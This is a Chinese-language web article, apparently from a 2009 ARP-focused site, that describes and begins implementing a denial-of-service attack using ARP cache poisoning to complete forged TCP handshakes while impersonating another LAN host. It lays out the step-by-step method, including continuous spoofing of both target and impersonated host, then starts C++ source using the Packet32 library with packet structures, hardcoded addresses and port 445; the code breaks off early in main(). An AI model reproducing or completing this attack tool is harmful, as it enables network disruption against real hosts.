ARP联盟图文中心下载中心手机频道最近更新软件最近更新文章网络热点
您当前的位置→图文中心ARP文章ARP欺骗基于ARP欺骗的TCP伪连接DOS
站内搜索:

基于ARP欺骗的TCP伪连接DOS


2009/7/7  编辑:佚名 来源:本站整理 

从某种意义上说,如果能够制造TCP伪连接,那么D.o.S也就比较容易实现了。以前LionD8就曾经用这个思路做出了一个新型D.o.S,而今天,我用的也是这个思路。但是,如果直接伪造TCP三次握手而不作其他任何处理,那却是不行的。因为,当攻击的目标主机接收到我们发过去的伪造的SYN包后会发回一个SYN+ACK包(也就是第二次握手)。而当我们的系统收到这个SYN+ACK包后,由于系统内并没有发起真正的TCP连接,因此系统会发回一个RST包,这个包将使目标主机重置连接。这样,这个伪连接就建立失败了。

  要解决这个问题,办法有不少,而我这里要用的方法就是ARP欺骗。首先,我们要对目标主机进行ARP欺骗,让它认为我们是同一网段中的另一台机器。然后我们就可以伪装这台机器向目标主机发起TCP伪连接了。这样一来,即使目标主机返回一个SYN+ACK包,这个包也不会进入到我们的系统(因为这个包的目的IP不会是我们而应该是我们伪装的那台主机的IP),这样,我们的系统也不会向目标主机发送RST包了。

  打个比方,假设我们是主机A,现在我想要攻击主机B。首先,我先伪装主机C对B进行ARP欺骗(以C的IP地址和A的MAC地址构造ARP应答包发送到B),这样,B的ARP缓存中就会记录下C的IP对应A的MAC地址。然后,我们再以C的IP为源IP构造SYN数据包,向B发起TCP伪连接。当B收到这个SYN包之后,它会构造一个SYN+ACK包发往C。但是,由于此时在B的ARP缓存中记录着:C的IP对应A的MAC地址,因此,这个SYN+ACK包实际上被发送到了A。虽然,这个包将被A的系统所丢弃(因为这个包的目的IP是C的IP而不是A的IP,所以A的系统将会丢弃这个包),但是,我们仍然可以从链路层直接将这个数据帧获取下来。得到了这个SYN+ACK包之后,我们需要再次伪装C向B发回一个ACK包完成第三次握手。这样,TCP初始化连接的三次握手都完成了,我们的伪连接也成功建立了!

  伪连接建立之后,我们还可以继续向目标主机发送数据,来保证TCP连接的存活。

  这里,有几个需要注意的问题:首先,为了保证攻击过程中目标主机的ARP缓存不被更改,我们需要持续不断的对其进行ARP欺骗;第二,为了防止在攻击过程中我们伪装的主机向目标主机发起通信,刷新目标主机的ARP缓存,对我们的攻击造成影响,我们还可以对伪装主机也同时进行ARP欺骗,以增加攻击成功的几率。

  好了,说了这么多,下面就给出我实现的源代码,欢迎大虾们多多指教。

  // DOS_By_ARPCheat.cpp : Defines the entry point for the console application.

  //

  #include "stdafx.h"

  #include "winsock2.h"

  #include "Packet32.h"

  #include "stdio.h"

  #pragma comment(lib, "packet")

  #pragma comment(lib, "ws2_32")

  //下面几个宏是测试用的主机的IP和MAC

  #define SIMULATE_MAC "0011111d735a" //伪装主机的MAC地址

  #define TARGET_MAC "001111c6f7fe" //目的主机的MAC地址

  #define LOCAL_MAC "00e06e41508f" //本机MAC地址

  #define TARGET_IP "211.83.97.24" //目的主机的IP

  #define SIMULATE_IP "211.83.97.16" //伪装主机的IP

  #define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式

  #pragma pack(push, 1)

  struct ET_HEADER //以太网头部

  {

  unsigned char eh_dst[6];

  unsigned char eh_src[6];

  unsigned short eh_type;

  };

  struct ARP_HEADER //ARP头部

  {

  unsigned short arp_hdr;

  unsigned short arp_pro;

  unsigned char arp_hln;

  unsigned char arp_pln;

  unsigned short arp_opt;

  unsigned char arp_sha[6];

  unsigned long arp_spa;

  unsigned char arp_tha[6];

  unsigned long arp_tpa;

  };

  struct IP_HEADER //IP头部

  {

  char m_ver_hlen; //4位版本号,4位ip头部长

  char m_tos;

  USHORT m_tlen;

  USHORT m_ident;

  USHORT m_flag_frag; //3位标志位(1位未用位,1位DF,1位MF),13位片断偏移量

  char m_ttl;

  char m_protocol;

  USHORT m_cksum;

  ULONG m_sIP;

  ULONG m_dIP;

  };

  struct TCP_HEADER //TCP头部

  {

  USHORT m_sport;

  USHORT m_dport;

  ULONG m_seq;

  ULONG m_ack;

  char m_hlen_res4; //4位tcp头部长,6位保留的前4位

  char m_res2_flag; //6位保留的后2位,6位标志

  USHORT m_win;

  USHORT m_cksum;

  USHORT m_urp;

  };

  struct PSD_HEADER //伪头部,计算校验和用

  {

  ULONG m_saddr; //源地址

  ULONG m_daddr; //目的地址

  char m_mbz;

  char m_ptcl; //协议类型

  USHORT m_tcpl; //TCP长度

  };

  struct TCP_OPTION //TCP选项,发起伪连接时要用来与对方协商

  {

  USHORT unKnown;

  USHORT maxSegSize; //MSS,以太网一般为1460

  char no1;

  char no2;

  USHORT SACK;

  };

  struct CHEAT_ARP_INFO //ARP欺骗线程的参数

  {

  char simulateIP[20];

  char targetIP[20];

  char targetMAC[13];

  };

  #pragma pack(pop)

  USHORT CheckSum(USHORT *buffer, int size); //计算校验和的函数

  void StrToMac(char *str,char *mac); //字符串转换为MAC地址

  void ListenACK(); //监听函数,监听对方的回包

  void AssayAndSendData(LPPACKET lpPacket); //分析数据帧并发送回包

  DWORD WINAPI ArpCheat(void *pInfo); //ARP欺骗线程

  DWORD WINAPI SendSyn(void *no); //发送SYN包的线程

  void Info();

  LPADAPTER lpAdapter=NULL; //适配器指针

  USHORT ipID=1638; //IP标识

  USHORT sourcePort=1056; //起始源端口

  USHORT targetPort=445; //目的端口

  int main(int argc, char* argv[])

  {

  Info();

  WSADATA wsaData;

  if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)

  {

  printf("WSAStartup error!n");

  return -1;

参考消息:http://www.arpun.com/  }

更多精彩,请查看本类栏目: ARP文章 - ARP欺骗
除非注明,ARP联盟文章来于网络,投稿原创等,转载请以链接形式标明本文地址。
本文地址:http://www.arpun.com/article/3974.html

相关文章
  • ·基于ARP欺骗的TCP伪连接DOS
  • ·基于ARP欺骗的TCP伪连接DOS
  • ·基于Cache的隐藏文件(和注册表)检测的一些思路
  • ·基于Cache的隐藏文件(和注册表)检测的一些思路
  • ·的R -基于网络攻击, ARP协议欺骗程序源代码BtNet.exe
  • ·基于Linux/BSD 防止局域网内ARP欺骗
  • ·基于ARP欺骗的网络攻击程序源码
  • ·基于ARP欺骗的TCP伪连接D.o.S
  • 发表评论
    栏目列表
    阅读排行
    本类最新
    网站帮助 - 广告合作 - 下载声明 - 网站地图